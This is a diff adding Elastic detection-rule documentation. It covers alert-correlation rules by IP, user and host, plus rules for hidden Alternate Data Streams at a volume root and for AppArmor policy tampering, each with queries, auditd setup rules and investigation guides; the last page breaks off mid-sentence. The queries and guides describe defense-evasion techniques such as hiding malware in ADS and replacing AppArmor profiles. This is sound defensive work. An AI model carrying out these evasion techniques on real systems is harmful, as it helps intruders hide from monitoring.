b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-source-address.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-source-address]] +=== Alerts From Multiple Integrations by Source Address + +This rule uses alert data to determine when multiple alerts from different integrations with unique event categories and involving the same source.ip are triggered. Analysts can use this to prioritize triage and response, as these IP addresses are more likely to be related to a compromise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Alerts From Multiple Integrations by Source Address* + + +The detection rule uses alert data to determine when multiple alerts from different integrations involving the same source.ip are triggered. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different modules and rules that triggered the alert. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* + +// any alerts excluding low severity and the noisy ones +| where kibana.alert.rule.name is not null and source.ip is not null and kibana.alert.risk_score > 21 and + not kibana.alert.rule.type in ("threat_match", "machine_learning") and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) + +// group alerts by source.ip and extract values of interest for alert triage +| stats Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.event_category_distinct_count = COUNT_DISTINCT(event.category), + Esql.rule_risk_score_distinct_count = COUNT_DISTINCT(kibana.alert.risk_score), + Esql.event_module_values = VALUES(event.module), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.message_values = VALUES(message), + Esql.event_category_values = VALUES(event.category), + Esql.event_action_values = VALUES(event.action), + Esql.destination_ip_values = VALUES(destination.ip), + Esql.host_id_values = VALUES(host.id), + Esql.agent_id_values = VALUES(agent.id), + Esql.user_name_values = VALUES(user.name), + Esql.rule_severity_values = VALUES(kibana.alert.risk_score) by source.ip + +// filter for alerts from same source.ip reported by different integrations with unique categories and with different severity levels +| where Esql.event_module_distinct_count >= 2 and Esql.event_category_distinct_count >= 2 and (Esql.rule_risk_score_distinct_count >= 2 or Esql.rule_severity_values == 73 or Esql.rule_severity_values == 99) +| keep source.ip, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-user-name.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-user-name.asciidoc new file mode 100644 index 0000000000..4d1a0b9993 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-user-name.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-user-name]] +=== Alerts From Multiple Integrations by User Name + +This rule uses alert data to determine when multiple alerts from different integrations with unique event categories and involving the same user.name are triggered. Analysts can use this to prioritize triage and response, as these users are more likely to be compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Alerts From Multiple Integrations by User Name* + + +The detection rule uses alert data to determine when multiple alerts from different integrations involving the same user.name are triggered. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific user involved and the different modules and rules that triggered the alert. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* + +// any alerts excluding low severity and the noisy ones +| where kibana.alert.rule.name is not null and user.name is not null and kibana.alert.risk_score > 21 and + not kibana.alert.rule.type in ("threat_match", "machine_learning") and + not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20", "0") and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) and + // Top noisy influencing rules + // Agent Spoofing - Mismatched Agent ID + // Compression DLL Loaded by Unusual Process + // Process Termination followed by Deletion + // Suspicious PrintSpooler Service Executable File Creation + // Potential PrintNightmare File Modification + // Multiple Vault Web Credentials Read + // Machine Learning Detected a Suspicious Windows Event with a High Malicious Probability Score + not kibana.alert.rule.rule_id in ("3115bd2c-0baa-4df0-80ea-45e474b5ef93", "d197478e-39f0-4347-a22f-ba654718b148", "09443c92-46b3-45a4-8f25-383b028b258d", "5bb4a95d-5a08-48eb-80db-4c3a63ec78a8", "5e87f165-45c2-4b80-bfa5-52822552c997", "44fc462c-1159-4fa8-b1b7-9b6296ab4f96", "994e40aa-8c85-43de-825e-15f665375ee8") + +// group alerts by user.name and extract values of interest for alert triage +| stats Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.event_category_distinct_count = COUNT_DISTINCT(event.category), + Esql.rule_risk_score_distinct_count = COUNT_DISTINCT(kibana.alert.risk_score), + Esql.event_module_values = VALUES(event.module), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.message_values = VALUES(message), + Esql.event_category_values = VALUES(event.category), + Esql.event_action_values = VALUES(event.action), + Esql.source_ip_values = VALUES(source.ip), + Esql.destination_ip_values = VALUES(destination.ip), + Esql.host_id_values = VALUES(host.id), + Esql.agent_id_values = VALUES(agent.id), + Esql.rule_severity_values = VALUES(kibana.alert.risk_score) by user.name, user.id + +// filter for alerts from same destination.ip reported by different integrations with unique categories and with different severity levels +| where Esql.event_module_distinct_count >= 2 and Esql.event_category_distinct_count >= 2 and (Esql.rule_risk_score_distinct_count >= 2 or Esql.rule_severity_values == 73 or Esql.rule_severity_values == 99) +| keep user.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-in-different-att-ck-tactics-by-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-in-different-att-ck-tactics-by-host.asciidoc new file mode 100644 index 0000000000..9fb182577b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alerts-in-different-att-ck-tactics-by-host.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-alerts-in-different-att-ck-tactics-by-host]] +=== Alerts in Different ATT&CK Tactics by Host + +This rule correlates medium-or-higher severity alerts involving the same host from at least two distinct detection rules mapped to three or more ATT&CK tactics. Analysts can use this to prioritize triage and response, as this combination may indicate host compromise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-8h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Alerts in Different ATT&CK Tactics by Host* + + +The rule identifies hosts with alerts across multiple ATT&CK tactics, which may indicate compromise. It helps analysts focus on high-risk hosts by correlating diverse alerts. The resulting alert is grouped, so the `Esql.*_values` fields summarize contributing alerts without preserving event order or relationships between values. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* metadata _id + +// filter for medium-or-higher severity alerts, excluding threat_match, machine_learning, and deprecated rules. +| where kibana.alert.risk_score > 21 and + kibana.alert.rule.name IS NOT NULL and kibana.alert.rule.rule_id IS NOT NULL and + host.id is not null and event.dataset is not null and + kibana.alert.rule.type not in ("threat_match", "machine_learning") and + // Exclude a deprecated rule whose alert name does not carry the standard prefix + kibana.alert.rule.name != "Potential PrintNightmare File Modification" and + not kibana.alert.rule.name like "Deprecated - *" and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) + +// extract unique counts and values by host.id +| stats Esql.alerts_count = COUNT(*), + Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.kibana_alert_rule_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.rule_id), + Esql.event_module_values = VALUES(event.module), + Esql.host_name_values = VALUES(host.name), + Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name), + Esql.kibana_alert_rule_id_values = VALUES(kibana.alert.rule.rule_id), + Esql.threat_tactic_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.threat.tactic.id), + Esql.threat_tactic_name_values = VALUES(kibana.alert.rule.threat.tactic.name), + Esql.process_executable_values = VALUES(process.executable), + Esql.process_parent_executable_values = VALUES(process.parent.executable), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id + +// filter for risky hosts with multiple distinct rules across multiple tactics +// Distinct rule IDs prevent one rule mapped to multiple tactics from satisfying the correlation. +| where Esql.kibana_alert_rule_name_distinct_count >= 2 and + Esql.kibana_alert_rule_id_distinct_count >= 2 and + Esql.threat_tactic_id_distinct_count >= 3 + +// Populate the native host name for alert triage without changing the host.id correlation key. +| eval host.name = MV_FIRST(Esql.host_name_values) + +// fields populated in the resulting alert +| keep host.id, + host.name, + Esql.alerts_count, + Esql.kibana_alert_rule_name_distinct_count, + Esql.kibana_alert_rule_id_distinct_count, + Esql.process_entity_id_distinct_count, + Esql.event_module_values, + Esql.host_name_values, + Esql.kibana_alert_rule_name_values, + Esql.kibana_alert_rule_id_values, + Esql.threat_tactic_name_values, + Esql.process_executable_values, + Esql.process_parent_executable_values, + Esql.process_command_line_values + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc new file mode 100644 index 0000000000..29d67bea4a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-alternate-data-stream-creation-execution-at-volume-root-directory]] +=== Alternate Data Stream Creation/Execution at Volume Root Directory + +Identifies the creation of an Alternate Data Stream (ADS) at a volume root directory, which can indicate the attempt to hide tools and malware, as ADSs created in this directory are not displayed by system utilities. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.crowdstrike.com/blog/anatomy-of-alpha-spider-ransomware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 207 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Alternate Data Stream Creation/Execution at Volume Root Directory* + + +Alternate Data Streams (ADS) in Windows allow files to contain multiple streams of data, which can be exploited by adversaries to conceal malicious tools or data. By creating or executing ADS at the root of a volume, attackers can evade detection by standard system utilities. The detection rule identifies suspicious ADS activity by monitoring file creation and process execution patterns at the volume root, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path or process executable that triggered the alert, focusing on the volume root directory pattern [A-Z]:\\:. +- Check the file or process creation timestamp to determine when the suspicious activity occurred and correlate it with other events or activities on the system around the same time. +- Investigate the file or process owner and the user account associated with the activity to assess if it aligns with expected behavior or if it indicates potential unauthorized access. +- Examine the file or process for known indicators of compromise (IOCs) or signatures of malicious activity using threat intelligence sources or antivirus tools. +- Analyze the system for additional signs of compromise, such as unexpected network connections, registry changes, or other suspicious files, to determine if the ADS activity is part of a larger attack. +- Review system logs and security tools for any related alerts or anomalies that could provide further context or evidence of malicious intent. + + +*False positive analysis* + + +- System utilities or legitimate applications may create ADS at the volume root for benign purposes, such as storing metadata or configuration data. Review the source of the ADS creation to determine if it is associated with known safe applications. +- Backup or disk management software might use ADS to store additional information about files. Verify if the detected activity aligns with scheduled backup operations or disk management tasks. +- Some security tools or system monitoring applications may use ADS for logging or tracking purposes. Cross-reference the process or file path with known security tools to rule out false positives. +- If a specific application is consistently triggering alerts due to its use of ADS, consider creating an exception for that application's process or file path in your monitoring solution to reduce noise. +- Regularly update your list of known safe applications and processes that interact with ADS to ensure that legitimate activities are not flagged as suspicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Use endpoint detection and response (EDR) tools to terminate any suspicious processes associated with the identified ADS activity. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any hidden malicious files or tools. +- Review and delete any unauthorized or suspicious ADS found at the volume root directory to eliminate potential hiding places for malware. +- Restore affected files from a known good backup to ensure system integrity and remove any compromised data. +- Monitor network traffic for unusual patterns or connections that may indicate ongoing malicious activity or data exfiltration attempts. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.category in ("file", "process") and + ( + (event.type == "creation" and file.path regex~ """[A-Z]:\\:.+""") or + (event.type == "start" and process.executable regex~ """[A-Z]:\\:.+""") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: NTFS File Attributes +** ID: T1564.004 +** Reference URL: https://attack.mitre.org/techniques/T1564/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-policy-interface-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-policy-interface-access.asciidoc new file mode 100644 index 0000000000..2dc2aa37a0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-policy-interface-access.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-apparmor-policy-interface-access]] +=== AppArmor Policy Interface Access + +Identifies access to AppArmor kernel policy control interfaces through the .load, .replace, or .remove files under /sys/kernel/security/apparmor/. These special files are used to load, modify, or remove AppArmor profiles and are rarely accessed during normal system activity outside of policy administration. Reads or writes to these interfaces may indicate legitimate security configuration changes, but can also reflect defense evasion, unauthorized policy tampering, or the installation of attacker-controlled profiles. This detection is especially valuable on systems where AppArmor policy changes are uncommon or tightly controlled. + +*Rule type*: eql + +*Rule indices*: + +* logs-auditd_manager.auditd-* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt +* https://blog.qualys.com/vulnerabilities-threat-research/2026/03/12/crackarmor-critical-apparmor-flaws-enable-local-privilege-escalation-to-root + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AppArmor Policy Interface Access* + + +This rule detects reads, writes, or deletions against the Linux AppArmor policy control files that load, replace, or remove profiles, actions that directly change how the kernel restricts processes. That matters because unauthorized access to these interfaces can disable enforcement or install permissive rules that hide malicious activity; for example, an intruder with elevated privileges might replace a profile protecting a web server so a dropped backdoor can run and touch sensitive files without confinement. + + +*Possible investigation steps* + + +- Determine whether the access coincides with an approved AppArmor administration task by validating the initiating account, privilege escalation history, maintenance windows, and any related change or deployment records for the host. +- Review the full execution lineage around the event to confirm whether the interface was touched by expected policy management activity such as package updates or configuration automation versus an interactive shell, ad hoc script, or remote session. +- Inspect recent changes to AppArmor profile files and deployment artifacts under standard policy locations to identify which profile was loaded, replaced, or removed and whether the resulting policy became weaker or disabled confinement for sensitive services. +- Correlate the activity with nearby authentication, sudo, process execution, and network events on the same system to assess whether the policy modification was part of normal administration or followed potentially malicious hands-on-keyboard behavior. +- If the change is not authorized, preserve the modified policy artifacts and relevant host evidence, then restore known-good AppArmor profiles from a trusted source and verify enforcement is active to prevent further defense evasion. + + +*False positive analysis* + + +- Approved system maintenance such as package updates, service installation, or boot-time policy initialization can legitimately access AppArmor `.load` or `.replace`, so verify the parent process and command line map to expected package management or startup activity during a documented change window. +- An administrator may manually reload, replace, or remove an AppArmor profile while troubleshooting or deploying a local service, so confirm the initiating user, any `sudo` or privileged session history, and recent edits to AppArmor profile files align with an authorized operational task. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while preserving forensic access, terminate the process or shell session that wrote to `/sys/kernel/security/apparmor/.load`, `.replace`, or `.remove`, and disable the originating account’s privileged access until the scope is understood. +- Collect and review the active AppArmor state and on-disk profiles from `/etc/apparmor.d/`, recent shell history, sudo activity, and any scripts or package hooks involved, then remove attacker-added profiles and reverse any profile changes that weakened or removed confinement. +- Hunt for and delete persistence that relied on the AppArmor change, including malicious systemd units, cron entries, startup scripts, modified container launch settings, or dropped binaries that were able to run only after the profile was replaced or removed. +- Restore the system to a known-good state by reinstalling trusted AppArmor policy packages or redeploying validated profiles from source control, reloading them with approved tools, and rebuilding the host from a clean image if root access or core security files were modified. +- Escalate to incident response immediately if the tampered profile protected an internet-facing service, credential store, or security tool, if the same behavior is seen on multiple hosts, or if the attacker also changed sudoers, SSH access, or other local security controls. +- Harden the environment by restricting who can administer AppArmor, requiring signed or change-controlled profile updates, alerting on future writes to the AppArmor policy interfaces, and validating that critical services remain in enforce mode after patching or deployment. + +==== Setup + + + +*Setup* + + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-w /sys/kernel/security/apparmor/.load -p rw -k apparmor_policy_change +-w /sys/kernel/security/apparmor/.replace -p rw -k apparmor_policy_change +-w /sys/kernel/security/apparmor/.remove -p rw -k apparmor_policy_change +``` +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("opened-file", "wrote-to-file", "deleted") and +file.path in ( + "/sys/kernel/security/apparmor/.load", ".load", + "/sys/kernel/security/apparmor/.replace", ".replace", + "/sys/kernel/security/apparmor/.remove", ".remove" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-policy-violation-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-policy-violation-detected.asciidoc new file mode 100644 index 0000000000..f22118e1d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-policy-violation-detected.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-apparmor-policy-violation-detected]] +=== AppArmor Policy Violation Detected + +Identifies events where the AppArmor security module blocked or restricted an operation due to a policy violation. AppArmor enforces mandatory access control policies that limit how processes interact with system resources such as files, network sockets, and capabilities. When a process attempts an action that is not permitted by the active profile, the kernel generates a policy violation event. While these events can occur during normal operation or misconfiguration, they may also indicate attempted privilege escalation, restricted file access, or malicious activity being prevented by the system's security policy. + +*Rule type*: eql + +*Rule indices*: + +* logs-auditd_manager.auditd-* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt +* https://blog.qualys.com/vulnerabilities-threat-research/2026/03/12/crackarmor-critical-apparmor-flaws-enable-local-privilege-escalation-to-root + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AppArmor Policy Violation Detected* + + +This alert shows that AppArmor blocked or limited a Linux process because it tried to 